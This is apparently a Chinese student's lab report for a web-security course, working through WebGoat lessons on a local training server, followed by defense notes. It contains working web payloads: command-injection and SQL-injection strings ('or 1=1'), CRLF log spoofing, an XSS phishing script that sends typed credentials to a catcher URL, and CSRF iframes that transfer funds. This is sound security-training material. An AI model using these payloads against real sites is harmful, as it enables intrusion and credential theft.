zoukankan      html  css  js  c++  java
  • 2019-2020- 20175215丁文韬《网络对抗技术》Exp9 Web安全基础

    一、实验目标

    • 理解常用网络攻击技术的基本原理,做不少于7个题目

    二、实验内容

    1.WebGoat

    • 命令行输入java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar不同版本的webgoat名称有所不同
    • 浏览器输入localhost:8080/WebGoat,输入默认的webgoat用户名密码即可

    2.SQL注入攻击(Injection Flaws)

    (1)命令注入(Command Injection)

    • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码,添加"& netstat -an & ipconfig

    • 点击view,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!

    (2)数字型注入(Numeric SQL Injection)

    • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1
    • 点击Go! 即可显示所有城市的天气情况

    (3)日志欺骗(Log Spoofing)

    • 前提:本题目接受用户输入的任何一个用户名,并将其追加到日志文件中。
    • 利用输入回车(0D%)换行符(%0A),在 username 中填入 dingwentao%0d%0aLogin Succeeded for username: admin

    (4)SQL注入(LAB:SQL Injection)

    • ** 字符串型注入(Stage 1: String SQL Injection)**
      • 右键点击页面,选择inspect Element 审查网页元素对源代码进行修改,将password密码框的最大长度限制改为18。
      • 以用户Neville Bartholomew(admit)登录,输入密码```hello' or '1' = '1````
    • 数字型 SQL 注入(Numeric SQL Injection)
      • 使用用户名 Larry,密码 larry 登录,点击ViewProfile 查看用户信息
      • 右键点击页面,选择inspect Element 审查网页元素源代码,将员工ID的value改成101 or 1=1 order by salary desc ,使得Boss的信息作为查询到的第一条数据(始终是最高的)。
      • 更改后再次点击ViewProfile,即可查询到最高纪录的结果

    3.XSS攻击(Cross‐Site Scripting)

    (1)XSS 钓鱼(Phishing with XSS)

    • 创建一个 form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
    • 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
      • 受害人填写一个表格;
      • 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
    • 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
      • 编写一个带用户名和密码输入框的表格:
    //脚本 
    </form> 
    <script> 
        function hack(){ 
            XSSImage=new Image;
            XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; 
            alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); 
        } 
    </script> 
    <form name="phish"> 
    <br> 
    <br> 
    //表格 
    <HR> 
        <H2>This feature requires account login:</H2> 
    <br> 
        <br>Enter Username:<br> 
        <input type="text" name="user"> 
        <br>Enter Password:<br> 
        <input type="password" name = "pass"> 
    <br> 
        <input type="submit" name="login" value="login" onclick="hack()"> 
    </form> 
    <br> 
    <br> 
    <HR>
    

    将上方这段代码输入到"Search:"输入框中,点击search,若在登录框中输入用户名、密码,如dwt 5215,点击登录后,会像代码中alert提示的,显示被窃取的用户名和密码。

    (2)存储型XSS攻击(Stored XSS Attacks)

    • 在title中任意输入字符,留言板中输入

    (3)反射型XSS攻击(Reflected XSS Attacks)

    输入代码,点击purse的同时页面就给出了反馈

    4.CSRF攻击

    (1)1.跨站请求伪造(Cross Site Request Forgery (CSRF))

    • 查看页面右侧Parameters中的src和menu值,分别为2078372和900
    • 在title中输入任何参数(如学号),message框中输入 ``````` ,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交。
    • 在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

    (2)绕过 CSRF 确认( CSRF Prompt By‐Pass)

    • parameters如下:
    • 在title框中输入学号,message框中输入代码:
    <iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe> 
    <iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
    
    • 在Message List中生成以Title命名的链接,点击进入后,攻击成功,可以从左侧的任务栏看到任务已完成。

    SP1.实验基础问题回答与实验体会

    1.基础问题回答

    • (1)SQL注入攻击原理,如何防御
      • 原理:sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。
      • 如何防御:
        • 关闭不必要的交互式提交表单页面;
        • 规范代码安全性,对漏洞注入点相关代码进行关键字的过滤;
        • 尽量不在在服务器端放置备份的文件,以免受到感染;
        • 将数据库里的内容进行加密处理。
    • (2)XSS攻击的原理,如何防御
      • 原理:HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
      • 如何防御:
        • 用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码;
        • 网页制作者角度:对输入和URL参数进行过滤;在输出数据之前对潜在的威胁的字符进行编码、转义。
    • (3)CSRF攻击原理,如何防御
      • 原理:CSRF跨站点请求伪造(Cross—Site Request Forgery),攻击者盗用用户身份,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
      • 如何防御:
        • 验证 HTTP Referer 字段;
        • 在请求地址中添加 token 并验证;
        • 在 HTTP 头中自定义属性并验证。

    2.实验体会

    本次实验的内容主要是和攻击相关的内容。实验过程一开始十分坎坷,因为我下载的kali自带的Java版本是11,不是java8,折腾了半天之后参考了20175209王梓鸿同学的博客才完成了WebGoat的使用,其它的过程都十分顺利。通过这次实验也让我了解了很多攻击的过程和攻击能够成功的原因。

    SP2.参考资料

    1.Webgoat 7下载与安装(Windows)
    2.2018-2019-2 网络对抗技术 20165318 Exp 9 Web安全基础
    3.2019-2020-2 网络对抗技术 20175209 Exp9 Web安全基础

  • 相关阅读:
    排序——选择排序和插入排序
    排序——排序的基本概念
    字符串类——KMP算法的应用
    字符串类——KMP子串查找算法
    字符串类——字符串类的创建(下)
    字符串类——字符串类的创建(上)
    数据结构库——链式队列的实现
    P4180 【模板】严格次小生成树[BJWC2010]
    P2511 [HAOI2008]木棍分割
    P2613 【模板】有理数取余
  • 原文地址:https://www.cnblogs.com/jxxydwt1999/p/12906858.html
Copyright © 2011-2022 走看看